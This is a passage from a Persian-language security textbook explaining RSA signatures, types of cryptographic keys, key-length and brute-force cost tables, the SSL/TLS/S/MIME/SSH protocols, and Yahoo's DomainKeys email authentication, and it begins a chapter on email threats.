معني خواهد بود. معمولترين سيستم نامتقـارن   اي بجز گيرنده مورد نظر فرستنده بي ي هرگيرندهكدشده برا

ــوان  ــي RSAبعنـ ــناخته مـ ــي   شـ ــدگان آن يعنـ ــروف اول پديدآورنـ ــود (حـ و  Rivest  ،Shamirشـ



 

 

١٨٨

١٨٨

Adlemen     تـوان از يـك سيسـتم نامتقـارن بـراي       است). اگرچه چندين طرح ديگـر وجـود دارنـد. مـي

كنـد اسـتفاده كـرد كـه ايـن عمـل اصـطلاحا         فرستنده پيام همان شخصي است كه ادعا مي نشاندادن اينكه

رساني ماجولار با توانهـاي خيلـي    شامل دو تبديل است كه هركدام احتياج به بتوان RSAامضاء نام دارد.  

  طولاني دارد:

   كند؛ امضاء، متن اصلي را با استفاده از كليد اختصاصي رمز مي

اي روي متن رمزشده اما با اسـتفاده از كليـد عمـومي اسـت. بـراي تاييـد امضـاء         مشابه رمزگشايي عمليات

كنيم كه آيا اين نتيجه با ديتاي اوليـه يكسـان اسـت؛ اگـر اينگونـه اسـت، امضـاء توسـط كليـد           بررسي مي

   اختصاصي متناظر رمزشده است.

متن شامل متن اصلي و همان متن امـا   تر چنانچه متني از شخصي براي ديگران منتشر شود، اين به بيان ساده

رمز شده توسط كليد اختصاصي همان شخص اسـت. حـال اگـر مـتن رمزشـده توسـط كليـد عمـومي آن         

شخص كه شما از آن مطلعيد رمزگشايي شود، مطابقت متن حاصل و متن اصـلي نشـاندهنده صـحت فـرد     

ه از كليد اختصاصي اين فرد اطلاع شود. افرادي ك فرستنده آن است، به اين ترتيب امضاي فرد تصديق مي

نيستند بطوريكه با رمزگشايي توسط كليد عمومي اين فرد بـه مـتن اوليـه      شده ندارند قادر به ايجاد متن رمز

  تبديل شود.

  X = Yk (mod r)اين فرمول است:   RSAاساس سيستم 

بـزرگ اسـت كـه بـا     حاصلضرب دو عدد اوليه  rكليد اختصاصي و  kمتن اصلي،  Yمتن كد شده،  Xكه 

توان به مراجعي كه در اين زمينه وجود دارد رجوع  اند. براي اطلاع از جزئيات بيشتر مي دقت انتخاب شده

هـا كـه در كارتهـاي هوشـمند      بيتـي  8هاي بايتي بخصـوص روي   كرد. اين شكل محاسبات روي پردازنده

ويـت و هـم رمزنگـاري را ممكـن     هـم تصـديق ه   RSAشود بسيار كند است. بنابراين، اگرچه  استفاده مي

شود و براي  سازد، در اصل براي تاييد هويت منبع پيام از اين الگوريتم در كارتهاي هوشمند استفاده مي مي

  شود.   نشاندادن عدم تغيير پيام در طول ارسال و رمزنگاري كليدهاي آتي استفاده مي

، Diffie-Hellmanشـوند ماننـد    ه مـي ساير سيستمهاي كليد نامتقارن شامل سيستمهاي لگـاريتم گسسـت  

ElGamal هـاي بيضـوي. بسـياري از ايـن طرحهـا عملكردهـاي        اي و منحنـي  و ساير طرحهاي چندجمله
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دهند اما رمزنگاري ندارند. يك رقيب جديـدتر الگـوريتم    اي دارند كه اجازه تاييدهويت را مي طرفه ـ يك

RPK يبي از كليدها با مشخصات مـورد نيـاز اسـتفاده    است كه از يك توليدكننده مركب براي تنظيم ترك

سازي در رمزنگـاري و رمزگشـايي (بـراي     اي است: بعد از فاز آماده يك پروسه دو مرحله RPKكند.  مي

افزارهـاي   تواند براحتي در سـخت  هايي از ديتا بطور استثنايي كاراست و مي يك طرح كليد عمومي) رشته

  هويت در ارتباطات سازگار است.  بي با رمزنگاري و تصديقسازي شود. بنابراين بخو رايج پياده

است كـه   RSAطولهاي كليدها براي اين طرحهاي جايگزين بسيار كوتاهتر از كليدهاي مورد استفاده در 

محكي براي ارزيـابي سـاير الگوريتمهـا بـاقي      RSA تر است. اما  كارتها مناسب آنها براي استفاده در چيپ

دهه از اين الگوريتم، تضـميني در برابـر ضـعفهاي عمـده بشـمار       بقاي نزديك به سه مانده است؛ حضور و

  رود.  مي

 در رمزنگاري كليدها16-3

ها، اكنـون بايـد بـه انـواع كليـدهاي موجـود و مكـان         با روشن شدن اهميت وجود كليدها در امنيت داده

  مناسب براي استفاده هر نوع كليد توجه كنيم. 

  (Secret keys)انه كليدهاي محرم 16-3-1

كننـد؛ كليـد بايـد توسـط دو طـرف       از كليـدهاي محرمانـه اسـتفاده مـي     DESالگوريتمهاي متقارن ماننـد  

تراكنش منتقل و ذخيره شود. چون فرض بر اين است كه الگوريتم شناخته شده و معلوم است، ايـن قضـيه   

وشـمند معمـولا بـراي ذخيـره     سـازد. كارتهـاي ه   اهميت امن بودن انتقـال و ذخيـره كليـد را مشـخص مـي     

شوند. در اين حالت تضمين اينكه قلمرو كليد محدود است، مهم است: بايد  كليدهاي محرمانه استفاده مي

هميشه فرض كنيم كه يك كارت ممكن است با موفقيت توسط افراد غيرمجـاز تحليـل گـردد، و بـه ايـن      

  ترتيب كل سيستم نبايد در مخاطره قرار گيرد.

  )Public and private keys( اي عمومي و اختصاصيكليده 16-3-2
دهنـد كـه يـك كليـد (كليـد       امتياز اصلي و مهم سيستمهاي كليد نامتقارن اين است كه آنهـا اجـازه مـي   

اختصاصي) با امنيت بسـيار بـالا توسـط توليـد كننـده آن نگهـداري شـود در حاليكـه كليـد ديگـر (كليـد            
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توانند همراه پيامها فرستاده شوند يـا در فهرسـتها ليسـت     ومي ميتواند منتشر شود. كليدهاي عم عمومي)مي

 ITU X.500رسـاني الكترونيكـي    شوند (شروط و قوانيني براي كليدهاي عمومي در طرح فهرست پيـام 

توانـد   وجود دارد)، و از يك شخص به شخص بعدي داده شوند. مكانيسم توزيـع كليـدهاي عمـومي مـي    

  غيررسمي باشد.  رسمي (يك مركز توزيع كليد) يا

محرمانگي كليد اختصاصي در چنين سيستمي مهمترين مساله است؛ بايد توسط ابـزار منطقـي و فيزيكـي    

در كامپيوتري كه ذخيره شده، محافظت گردد. كليدهاي اختصاصـي نبايـد هرگـز بصـورت رمزنشـده در      

ره شـوند. در اينجـا نيـز    يك سيستم كامپيوتر معمولي يا بشكلي كه توسط انسان قابل خوانـدن باشـد، ذخي ـ  

كارت هوشمند براي ذخيره كليدهاي اختصاصي يك فرد قابل اسـتفاده اسـت، امـا كليـدهاي اختصاصـي      

  سازمانهاي بزرگ معمولا نبايد در يك كارت ذخيره شود.

 Master keys and derivedشـده (  كليدهاي اصلي و كليـدهاي مشـتق   16-3-3

keys  (  
ي كه بايد منتقل و ذخيره شوند، مشتق گرفتن از آنهاست هـر زمـاني   يك روش كاستن از تعداد كليدهاي

شوند. در يك برنامه اشتقاق كليد، يك كليد اصلي همراه با چند پارامتر مجزا براي محاسبه  كه استفاده مي

گـردد. بـراي مثـال، اگـر يـك       شـود كـه بعـدا بـراي رمزنگـاري اسـتفاده مـي        شده اسـتفاده مـي   كليد مشتق

تواند بـراي هـر كـارت، بـا اسـتفاده از كليـد اصـلي،         تعداد زيادي كارت سروكار دارد، ميصادركننده با 

شود و بـه آن كـارت اختصـاص داده     شده حاصل مي شماره كارت را رمز كند و به اين ترتيب كليد مشتق

  شود.  مي

 گرهـاي الكترونيكـي بـا    هـا كـه محاسـبه   tokenشـده بـا اسـتفاده از     شكل ديگـري از كليـدهاي مشـتق   

شوند. آنها ممكن اسـت بعنـوان ورودي از يـك مقـدار گرفتـه       عملكردهاي بخصوص هستند، محاسبه مي

 tokenوارد شده توسط كاربر و تاريخ و زمـان اسـتفاده كننـد. خـود      PINشده از سيستم مركزي، يك 

هـايي اغلـب بـراي دسترسـي بـه سيسـتمهاي       tokenشامل الگوريتم و يـك كليـد اصـلي اسـت. چنينـي      

  شوند.  تري امن استفاده ميكامپيو

  



 

 

١٩١

١٩١

  )Key-encrypting keysكليد ( كليدهاي رمزكننده 16-3-4

رود، رمزكـردن كليـدها    از آنجا كه ارسال كليد يك نقطه ضعف از نظر امنيتي در يك سيستم بشمار مي

ج رسد. كليدهاي رمزكننده كليد هرگز بـه خـار   هنگام ارسال و ذخيره آنها بشكل رمزشده منطقي بنظر مي

توانند آسانتر محافظت شـوند   شوند و بنابراين مي از يك سيستم كامپيوتري (يا كارت هوشمند) ارسال نمي

شوند. اغلب الگوريتم متفاوتي بـراي تبـادل كليـدها از آنچـه كـه بـراي رمزكـردن         تا آنهايي كه ارسال مي

  گيرد.  شود، مورد استفاده قرار مي پيامها استفاده مي

) براي محدود كردن ميدان كليدها و محافظت كردن كليـدها در  key domainيد (از مفهوم دامنه كل

توانـد بصـورت    كنيم. معمولا يك دامنه، يك سيستم كامپيوتري خواهد بـود كـه مـي    شان استفاده مي دامنه

كليـد   كليدهاي استفاده شده در يك دامنه توسط يك كليـد رمزكننـده    فيزيكي و منطقي محافظت گردد.

خواهند بـه يـك سيسـتم كـامپيوتري ديگـر فرسـتاده شـوند،         شوند.هنگامي كه كليدها مي ره ميمحلي ذخي

 zone controlشوند كه اغلب بعنوان كليد كنترل ناحيـه (  رمزگشايي و تحت يك كليد جديد رمز مي

keyشوند. با دريافت اين كليدها در طـرف ديگـر، تحـت كليـد محلـي سيسـتم جديـد رمـز          ) شناخته مي

اي به دامنه ديگر بصـورتي كـه    هاي يك ناحيه قرار دارند از دامنه . بنابراين كليدهايي كه در دامنهشوند مي

  شوند.  بيان گرديد منتقل مي

  )Session keysكليدهاي نشست (16-3-5
براي محدودكردن مدت زماني كه كليدها معتبر هستند، اغلب يك كليد جديد براي هر نشسـت يـا هـر    

د. اين كليد ممكن است يك عدد تصادفي توليد شده توسط ترمينـالي باشـد كـه در    شو تراكنش توليد مي

مرحله تصديق كارت قرار دارد باشد. اگر كارت قادر به رمزگشايي روش كليد عمومي باشد، يعني كليـد  

  تواند با استفاده از كليد عمومي كارت رمز شود.  نشست مي

اغلب در مقايسه با بقيه تراكنش كوتاهتر است؛ بنابراين شود  بخشي از تراكنش كه در آن كليد منتقل مي

بار اضافي اين بخش نسبت به كل تراكنش قابل صرفنظر است. چنانچه بقيه تراكنش بسبب استفاده از كليد 

متقارن با بالاسري كمتري رمز شود، زمان پردازش براي فاز تاييد هويت و انتقال كليد قابل پذيرش اسـت.  

تـوان ابتـدا يـك كليـد      هاي رمز متقارن از نامتقارن بمراتب سريعتر هستند بنـابراين مـي  (توضيح اينكه روش
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متقارن را با استفاده از روش نامتقارن انتقـال داد و سـپس از آن كليـد متقـارن بـراي انجـام بقيـه تـراكنش         

  استفاده كرد.)

خـت الكترونيـك و   شكل خاصي از كليد نشست، سيستم انتقال كليد است كه در برخي سيستمهاي پردا

شود. بدين صورت كه در پايان هر تراكنش، يك كليد جديـد منتقـل    مبادله ديتاي الكترونيك استفاده مي

  گيرد. شود و اين كليد براي تراكنش بعدي مورد استفاده قرار مي مي

  شكستن كليدهاي رمزنگاري

  چه طول كليدي در رمزنگاري مناسب است؟

  پيچيده بودن اصولي مربوط است كه الگوريتم بر اساس آن بنا شده است. امنيت هر الگوريتم مستقيماً به

امنيت رمزنگاري بر اساس پنهان ماندن كليد است نه الگوريتم مورد استفاده. در حقيقت، با فرض اينكـه  

اي كـه بتـوان بـراي نفـوذ بـه       شـده  كه الگوريتم از قدرت كافي برخوردار است (يعني كه ضـعف شـناخته  

تفاده كرد، وجود نداشته باشد) تنها روش درك متن اصلي بـراي يـك اسـتراق سـمع كننـده،      الگوريتم اس

  كشف كليد است.

كند تا در  كننده تمام كليدهاي ممكن را توليد و روي متن رمزشده اعمال مي در بيشتر انواع حمله، حمله

پـذير   اين نـوع حملـه آسـيب   نهايت يكي از آنها نتيجه درستي دهد. تمام الگوريتمهاي رمزنگاري در برابر 

تر كرد. هزينه امتحـان   كننده مشكل توان كار را براي حمله تر، مي هستند، اما با استفاده از كليدهاي طولاني

شود، و ايـن در   كردن تمام كليدهاي ممكن با تعداد بيتهاي استفاده شده در كليد بصورت نمايي اضافه مي

  يابد. شايي بسيار كمتر افزايش ميحاليست كه انجام عمليات رمزنگاري و رمزگ

  الگوريتمهاي متقارن16-4
DES   بيتـي بـراي رمزنگـاري و رمزگشـايي      64كه يك الگوريتم كليد متقارن است معمولا از كليـدهاي

  كند. يكي رمز مي شكند و آنها را يكي بيتي مي 64كند. الگوريتم متن اوليه را به بلوكهاي  استفاده مي

3DES تر است و در آن الگوريتم  هالگوريتم پيشرفتDES رمزنگاري بـه   بخششود (در  سه بار اعمال مي

بيتـي و بـا فضـاي    56تر از قبليها) از كليـدهاي   آن اشاره شده است). نسخه ديگري از اين الگوريتم (پايدار

  دهد. كند و سه بار عمليات رمزنگاري را انجام مي بيت استفاده مي168كليد موثر 
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  را نشان ميدهد. DESزم براي يافتن كليد در الگوريتم جدول زير زمان لا

 تعداد كليدهاي ممكن طول كليد
  1زمان مورد نياز براي 

 ثانيه رمزگشايي در هر ميلي
 ثانيه رمزگشايي در هر ميلي 1،000،000زمان مورد نياز براي 

 ثانيه ميلي 2/15 ثانيه ميلي231دقيقه =  35/8 232= 4/3×109 بيت  32

 ساعت 10 ثانيه ميلي255سال =  1142 256= 7/2×1016 بيت  56

 سال 5/4×1018 ثانيه ميلي2127سال =  5/4×1024 2128= 3/4×1038 بيت 128

 سال 5/9×1030 ثانيه ميلي2167سال =  5/9×1036 2168= 3/7×1050 بيت 168

ايي را انجام دهنـد كـه   ثانيه يك رمزگش توانند در هر ميلي ستون سوم مربوط به كامپيوترهايي است كه مي

شود. ستون آخـر بـراي سيسـتمهاي بسـيار      براي كامپيوترهاي امروزي توان محاسباتي معقولي محسوب مي

  بزرگ محاسباتي است بطوريكه قدرت پردازش يك ميليون برابر زياد شده باشد. 

يتمهاي نامتقارن را توانند امنيت الگور بدون در نظر گرفتن طول كليد، الگوريتمهاي متقارن قوي نيز نمي

  داشته باشند، زيرا كليد بايد بين دو طرف ارتباط مبادله شود.

  الگوريتمهاي نامتقارن 16-5

شود كه هزينه شكسـتن آن بيشـتر از ارزش ديتـايي باشـد كـه نگهـداري        عموماً سيستمي امن محسوب مي

رمزنگـاري، آسـانتر توسـط     كند. اما در ذهن داشته باشيد كه با افزايش قـدرت محاسـباتي، سيسـتمهاي    مي

  روشهاي سعي و خطا مورد حمله قرار خواهند گرفت.

بيتي مي تواند با هزينـه    215، تخمين زده مي شود كه يك كليد RSAبراي مثال، طبق گزارشي از سايت 

بيتـي    215توصيه ميكند كه كليدهاي  RSAماهه شكسته شود.  8ميليون دلار و يك تلاش  1اي كمتر از 

بيتـي بـراي اسـتفاده هـاي شخصـي       867حاضر امنيت كافي ايجاد نمي كنند و بايد بنفع كليدهاي در حال 

بيت براي كليدهاي فوق  2048بيتي و از  1024كنار بروند! به همين ترتيب براي استفاده شركتها كليدهاي 

معتبـر خواهـد    2004العاده ارزشمند استفاده شود. البته پيش بيني شده است كه اين مقادير تا حداقل سـال  

  بود. با پيشرفتهاي موجود احتمالا در اين زمان نياز به افزودن بر طول كليد ها خواهد بود.

  جدول زير نشاندهنده افراد يا گروههايي است كه توانايي شكستن كليدها با طولهاي متفاوت را دارند.
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 نفوذگران بالقوه طول كليد

 افراد عادي بيتي 256

 ي تحقيق دانشگاهي و شركتهاگروهها بيتي 384

 گروههاي دولتي با تمام امكانات بيتي 512

 امن براي كوتاه مدت بيتي 768

 امن تا آينده نزديك بيتي 1024

 امن احتمالا تا چند ده سال! 2048

 هاي انتقال رمزنگاري در پروتكل 16-6

   

هـاي   در طـول انتقـال از طريـق شـبكه    هاي امنيت انتقال فايل بر اسـاس رمزنگـاري ديتـا     تمركز بيشتر روش

ديتايي كه در حال انتقال بين سازمانهاسـت بوضـوح در معـرض خطـر ربـوده        عمومي مانند اينترنت است.

هـاي محلـي بـراي هـر يـك از طـرفين يـا مرزهـاي          مثلا در شبكه –شدن در هر كدام از محلها قرار دارد.  

Internet-LAN آنهـا مسـير ديتـا را تـا مقصـد نهـايي مشـخص        اينترنت از طريـق   دهندگان كه سرويس

كنند. حساسيت ديتا ممكن است بسيار متغييـر باشـد، زيـرا ديتـاي انتقـالي ممكـن اسـت بهـر شـكلي از           مي

هاي مستقيم باشند. در بعضـي مـوارد، ممكـن اسـت عـلاوه بـر        بندي شده تا تراكنش ركوردهاي مالي بسته

نيز باشد. مشخصاً، محافظت از ديتا در مقابل  LANيتا روي محافظت ديتا روي اينترنت، نياز به محافظت د

است. به ايـن ترتيـب، بهرحـال، نيـاز بـه       LANمستلزم رمزنگاري ديتاي انتقالي روي خود  LANحملات 

حلهـاي   كننـد، و تنهـا اطمينـان بـه راه     هايي است كه خود ديتا را توليد و مـديريت مـي   بسط امنيت تا برنامه

  شود. و به اين ترتيب بر پيچيدگي مسأله امنيت افزوده مي كند محيطي كفايت نمي

  ها پروتكل 16-7

حل بديهي مسائل محرمانگي است، امـا سـردرگمي در مـورد دو     شده است كه رمزنگاري راه اگرچه ثابت

نوع رمزنگاري (برنامه در مقابل شبكه) همچنان وجود دارد و بدليل وجود پروتكلهاي ارتبـاطي گونـاگون   

) اگرچـه ايـن   TLSو  IPSec  ،S/MIME ،SSLشود. (مانند  يازهاي تعامل بيشتر آشكار مياست كه ن
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دهند، اما تعامل كامل بدليل مستقل بودن محصولات پروتكلها در حـال حاضـر    پروتكلها قول تعامل را مي

د، كنن وجود ندارد. آزمايشهايي در حال حاضر در حال انجام هستند كه به حل شدن اين مسائل كمك مي

اما كاربران بايد مطمئن شوند كه تعامل بين محصول انتخابيشان و محصولات ساير شركاي تجـاري امـري   

) عمومـاً   S/MIMEتـر   تا حدي پـايين  و  SSL/TLS ،IPSecتر ( هاي ساده تثبيت شده است. پروتكل

  مسائل كمتري از نظر تعامل دارند.

   

   

  هاي رمزنگاري انتقال پروتكل16-7-1

ها براي تاييد هويت توسط رمزنگاري متقارن و نامتقارن براي ممكـن سـاختن ارتباطـات     با تركيب توانايي

هاي جامعيت  وتكلها نيازكنند. تقربياً تمام پر هاي امنيت را فراهم مي تاييدشده و رمزشده، اين پروتكلها پايه

-Nonتواننـد تغييـر يابنـد، امـا بيشـتر آنهـا از        كنند به طوري كه محتويات ارتباطـات نمـي   را پشتيباني مي
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Repudiation كنند و به اين ترتيب امكان ايجاد ركوردهاي پايداري را كه هويـت منبـع    پشتيباني نمي

  دهند، ندارند.  را به محتواي پيام پيوند مي

  شود: چند پروتكل به طور مختصر اشاره ميبه اين 

SSL  

امـن را تشـكيل    World Wide Web) اسـاس  SSL )Secure Socket Layerتكنولـوژي  

كه در مرورگرهاي وب كاملاً جاافتاده است، توسط بسياري از سـازمانها بـراي رمزنگـاري     SSLدهد.  مي

بصورت روزافزون بعنوان يك مكانيسم  SSLشود. بعلاوه  هاي وبي خود و انتقال فايل استفاده مي تراكنش

شـود و بهمـين ترتيـب ابـزاري بـراي ارتبـاط        امنيت در تلاقـي بـا پروتكلهـاي پرشـمار ديگـر اسـتفاده مـي       

ارتباطـات رمزشـده و بشـكل آغـازين خـود تاييـد هويـت سـرور از طريـق           SSLسرور امن است.  سروربه

هـا   كند. كاربران اغلب براي استفاده از برنامه يباني ميسرور) پشت به استفاده از گواهي را (در حالت كلاينت

) تاييد هويت SSL V.3.0استاندارد (مثلا  SSLشوند، و با پيشرفت  از طريق كلمه عبور تاييد هويت مي

  كلاينت از طريق گواهي به اين پروتكل اضافه شده است.

ل در يكـي از دو حالـت اسـتفاده    بـراي انتقـال فاي ـ   SSLاغلب از  FTابزار (انتقال فايل):  FT*براي 

سازد، در حاليكـه در حـال اسـتفاده از يـك      سرور است كه كاربر را قادر مي به كنند. اولي، مد كلاينت مي

مرورگر وب استاندارد است مستندات را از يك سرور دريافت يا آنها را بـه سـرور منتقـل كنـد. كـه ايـن       

سازد و بسيار راحت است، امـا اغلـب فاقـد     نت را برطرف ميافزار مختص انتقال در كلاي قابليت نياز به نرم

شده است كـه سـازمانها نيـاز دارنـد.      بعضي ويژگيهاي پيشرفته مانند نقاط آغاز مجدد و انتقالهاي زمانبندي

SSL براي مثال، در اتصال با  –سرور امن  تواند براي اتصالات سروربه همچنين ميFTP  و ساير پروتكلها

  قرار گيرد. مورد استفاده –
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TLS  

TLS )Transport Layer Security جانشين ،(SSL برپايه ،SSL3.0     بنا شده اسـت، امـا بـه

 Hashingدهـد. (الگوريتمهـاي    مـي  Hashingكاربران يك انتخـاب كليـد عمـومي و الگوريتمهـاي     

شـوند.)   تفاده مـي اي براي حفظ جامعيت پيامها هستند و توسـط بيشـتر پروتكلهـا اس ـ    طرفه هاي يك فانكشن

را پشـتيباني نكنـد، ارتبـاط بـا      TLSتعامل ندارند، اما چنانچه يكي از طرفين ارتباط  SSLو  TLSاگرچه 

شـود، و معمـولا    هم منتقـل مـي   TLSبه  SSLبرقرار خواهد شد. بيشتر مزايا و معايب  SSL3.0پروتكل 

  شود. د مييا SSLها به عنوان  وجه تمايز خاصي وجود ندارد، و از همه نسخه

 S/MIME  

S/MIME  )Secure Multipurpose Internet Mail Extention كه اختصاصاً براي (

ارسال طراحي شده است، بعنوان استاندارد امنيت ايميل برتر شناخته شده است. مانند -و-رساني ذخيره پيام

تنهـا سـروكار   بـا رمزنگـاري    IPSec ،(S/MIMEو  SSL  ،TLSهاي رمزنگـاري (مـثلا    بيشتر پروتكل

 SSLسازي جامعيت پيامها (براي مثال مانند آنچه  ندارد. بهرحال، علاوه بر تصديق هويت كاربران و ايمن

كنـد   توسط امضاي ديجيتال، ركوردهاي پايداري از صحت پيامها ايجـاد مـي   S/MIMEدهد)،  انجام مي

شـود فرسـتنده    عمل باعث مـي  (ضمانت هويت فرستنده چنانچه به محتواي پيام مشخصي مرتبط شده). اين

  را انكار كند. پيام نتواند ارسال آن

  : FT*براي 

هاي كوچك استفاده  توانند براي ارسال فايل ) ميS/MIMEهاي ايميل رمزشده (با استفاده از  سيستم 

شوند (محدوديت حجم فايل بخاطر داشتن محدوديت حجم فايل در بيشتر سرورهاي ايميل اسـت)، ولـي   

S/MIME ًتوسط پروتكلهاي انتقال فايل استفاده شود.  هاي بزرگتر تواند براي انتقال فايل مي كلا  
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SSH  

SSH )Secure Shell  هــم يــك برنامــه و يــك پروتكــل شــبكه بمنظــور وارد شــدن و اجــراي (

شـده امـن بـراي     فرمانهايي در يك كامپيوتر ديگر است. به اين منظور ايجـاد شـد تـا يـك جـايگزين رمـز      

باشد. نسخه بعدي اين پروتكـل تحـت    telnetيا  rloginناامن به كامپيوترهاي ديگر مثلا هاي  دسترسي

  منتشر شد.  SSHهاي  با قابليتهايي براي انتقال فايل رمزشده از طريق لينك SSH2نام 

  : FT*براي 

 SSH   مي تواند براي پشتيباني انتقال فايل رمزشده (به شكلSFTP     اسـتفاده شـود امـا طبيعـت خـط ( 

فرمان بودن آن به اين معني است كه بيشتر توسـط مـديران سيسـتمها بـراي ارسـال درون سـازمان اسـتفاده        

عاملهـاي سـازگار بـا     افزار يا سيستم نياز به نرم SSHشود تا براي انتقال فايل تجاري. بعلاوه استفاده از  مي

SSH  در دو طرف اتصال دارد، كه به اين ترتيبSSH گيرد. نجام ميسرور ا به براي سرور  

DomainKeys آن: اثبات هويت فرستنده ايميل و حفاظت از 

  آيا تا كنون جمله زير توجه شما را جلب كرده است؟  

Yahoo! DomainKeys has confirmed that this message was sent by 

yahoo.com  
م از اكانت يـاهو اسـتفاده   چك مي كنيد، چنانچه فرستنده هدر ياهو اخيراً هنگامي كه ايميل هاي خود را 

  و بعد از نام فرستنده، جمله فوق را مي بينيد. :Fromكرده باشد، در قسمت 

منظـور جلـب اعتمـاد كـاربران     ه جعل ايميل كه عبارتست از جعل آدرس ايميل شخص يا شركت ديگر ب

كنولـوژي هـاي   براي بازكردن پيام ها، يكي از بزرگترين چالش هايي است كه امروزه جامعه اينترنـت و ت 

ضداسپم با آن مواجه هستند. ارائه كنندگان سـرويس هـاي ايميـل بـدون تأييـد هويـت فرسـتنده و امكـان         

ردگيري آن، هرگز نمي توانند مطمئن باشند كه آيا يك پيام اصـلي اسـت يـا جعلـي و بنـابراين مجبورنـد       

مسدود كنند و كدام را قرنطينه براي آنكه مشخص شود كدام ايميل ها را تحويل گيرنده بدهند يا كدام را 

  كنند، از بعضي روش هاي مبتني بر حدس استفاده كنند. 
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DomainKeys   يك طرح پيشنهادي فني از طرف ياهو است كه مي تواند پاسخي واضح به پروسـه

تصميم گيري در مورد صحت ايميل بدهد. اين تكنولوژي امكان اين عمل را با ارائه مكانيسمي براي تأييد 

ه هر فرستنده ايميل و جامعيت پيام هاي ارسالي ميسر مي كند (جامعيت يعني ايميل ها در طول ارسـال  دامن

تغيير نكرده اند). هنگامي كه وجود دامنه مورد تأييد قرار بگيـرد، مـي تـوان آن را بـا دامنـه اسـتفاده شـده        

. اگر جعلي باشد، يـا  پيام مقايسه كرد تا در صورت جعل، مشخص گردد :Fromتوسط فرستنده در فيلد 

هرزنامه (اسپم) است يا پيام تقلبي و مي توان بدون دخالت كاربر پيام را حـذف كـرد. اگـر جعلـي نباشـد،      

دامنه شناخته شده است و يك پروفايل ماندگار مي تواند براي دامنه ارسال كننده برقرار گردد و بـه ارائـه   

  اده شود.كنندگان سرويس ارائه و حتي براي كاربران نمايش د

تجاري به مشتريان مي فرستند، مانند بانك ها و سرويس  براي شركت هاي شناخته شده كه معمولاً ايميل 

د به كاربرانشان در حفاظت نهاي تجارت الكترونيك، فايده تأييد هويت بسيار بيشتر است، چرا كه مي توان

  كمك كند.» يا هويت ربايي phishingحملات «از 

حمايت از تكنولوژي هاي تأييد هويـت بـه ايـن معنـي      ،براي مشتريان، مانند كاربران ايميل ياهو يا سايرين

است كه مي توانند اعتماد به ايميل را از سر بگيرند و ايميل مـي توانـد بـه نقـش خـود بـه عنـوان يكـي از         

  در زمان ما ادامه دهد. قويترين ابزارهاي ارتباطي

   
  استانداردسازي

را به يك استاندارد اينترنتي تبديل كند. ياهو اميدوار است كه  DomainKeysشركت ياهو سعي دارد 

DomainKeys  پروســه اســتانداردهاي اينترنتــيIETF )Internet Engineering Task 

Forceرا طي كند و نهايتاً به عنوان يك استاندارد اينترنتي ( IETF  .تصويب شود  

   
DomainKeys چگونه كار مي كند؟  

  سرورهاي ايميل فرستنده
  دو مرحله وجود دارد:  DomainKeysبراي امضاء كردن يك ايميل با 
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1- Set up  (راه اندازي): صاحب دامنه (معمولاً تيمي كه سيستم هاي ايميل را در يك شركت يا ارائه

ليـد عمومي/اختصاصـي را بـراي اسـتفاده در امضـاي تمـام       كننده سرويس اداره مي كنـد) يـك جفـت ك   

) منتشـر مـي   DNS )Domain Name Systemكليد عمـومي در   پيامهاي خروجي توليد مي كند.

در شـكل  » A«شود و كليد اختصاصي در اختيار سرويس دهنده ارسال ايميل قرار داده مـي شـود. مرحلـه    

  است.گر اين بخش نشان

2- Siging نگامي كه هر ايميل توسط يك كاربر مجاز آن دامنـه، ارسـال مـي شـود،     (امضاءكردن): ه

صورت خودكار از كليد اختصاصي ذخيره شده براي توليـد  ه ب ،DomainKeysسيستم ايميل مجهز به 

ايميل الصـاق مـي شـود و ايميـل بـه       headerامضاي ديجيتالي پيام استفاده مي كند. اين امضاء سپس به 

  است كه در شكل نشان داده شده است.» B«ال مي شود. اين مرحله سرور ايميل گيرنده ارس

   

   
   

  

  



 

 

٢٠١

٢٠١

  سرورهاي ايميل گيرنده
1- Preparing  (آماده سازي): سيستم دريافت كننده ايميل مجهز بهDomainKeys  و امضاء

ايميل استخراج  header) را از داخل Claimed From: Domain» (دامنه ارسال كننده ادعاشده«

در » C«مي گيـرد. ايـن مرحلـه     DNSمي كند و كليد عمومي مربوط به دامنه ارسال كننده ادعاشده را از 

  شكل نشان داده شده است.

2- Verifying  رفتـه شـده از   كليـد عمـومي گ  بـا اسـتفاده از   (تأييد هويت): سپسDNS،   سيسـتم

دريافت كننده ايميل كنترل مي كند كه امضاء توسط كليد اختصاصي متناظر توليـد شـده باشـد. ايـن امـر      

ثابت مي كند كه ايميل واقعاً توسط فرستنده ادعا شده در ابتداي ايميل و با اجازه وي ارسال شده اسـت و  

  ت.و محتوا درطول ارسال تغيير نكرده اس headerاينكه 

3- Delivering        (تحويل): سيستم دريافت كننده ايميـل سياسـت هـاي محلـي را براسـاس نتيجـه

بررسي امضاء اعمال مي كند. اگر دامنه مورد تأييد قرار بگيرد و ساير بررسي هاي ضداسپم نيـز تشـخيص   

وجـود نداشـته    كاربر تحويل داده شود. اگر امضاء تأييد نگردد يـا  inboxاسپم ندهند، ايميل مي تواند به 

، ايـن بخـش را   در شـكل » D«باشد، ايميل مي تواند حذف شود، علامت زده شود يا قرنطينه شود. مرحلـه  

  نشان داده است.

ه توسط سرورهاي دريافت كننده ايميل تأييـد گـردد. ب ـ   DomainKeysعموماً ياهو انتظار دارد كه 

ليت تأييد امضاء، تغيير داده شوند و براساس هرحال، سرويس گيرنده هاي ايميل مي توانند براي داشتن قاب

  نتايج بررسي و سياست هايشان، در مورد ايميل هاي دريافتي تصميم گيري كنند.
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 محافظت در مقابل خطرات ايميل  -17

  مقدمه
مي خواهيم ببينيم چرا نـرم افـزار ضـدويروس بتنهـايي بـراي محافظـت سـازمان شـما در مقابـل حملـه           

وتري فعلي و آينده كافي نيسـت. عـلاوه بـر اينهـا گـاهي بـه ابـزاري قـوي بـراي بررسـي           ويروسهاي كامپي

محتواي ايميلها براي حفاظت در مقابل حملات و ويروسهاي ايميـل (منظـور از ويـروس ايميـل ويروسـي      

است كه از طريق ايميل گسترش مي يابد) و جلوگيري از نشت اطلاعات نيـاز اسـت. امـا در هـر صـورت      

  ي نكات هميشه توسط كاربران الزامي است.رعايت بعض

  خطرات ويروسهاي ايميل و اسبهاي تروا
استفاده گسترده از ايميل راه ساده اي را براي گسترش محتويات مضر در شبكه ها پـيش روي هكرهـا   

قرار داده است. هكرها براحتي مي توانند از حصار ايجاد شده توسط يك فـايروال از طريـق نقـب زدن از    

 2004در ژانويـه   CNNروتكل ايميل عبور كنند، زيرا فايروال محتويات ايميل را بررسي نمـي كنـد.   راه پ

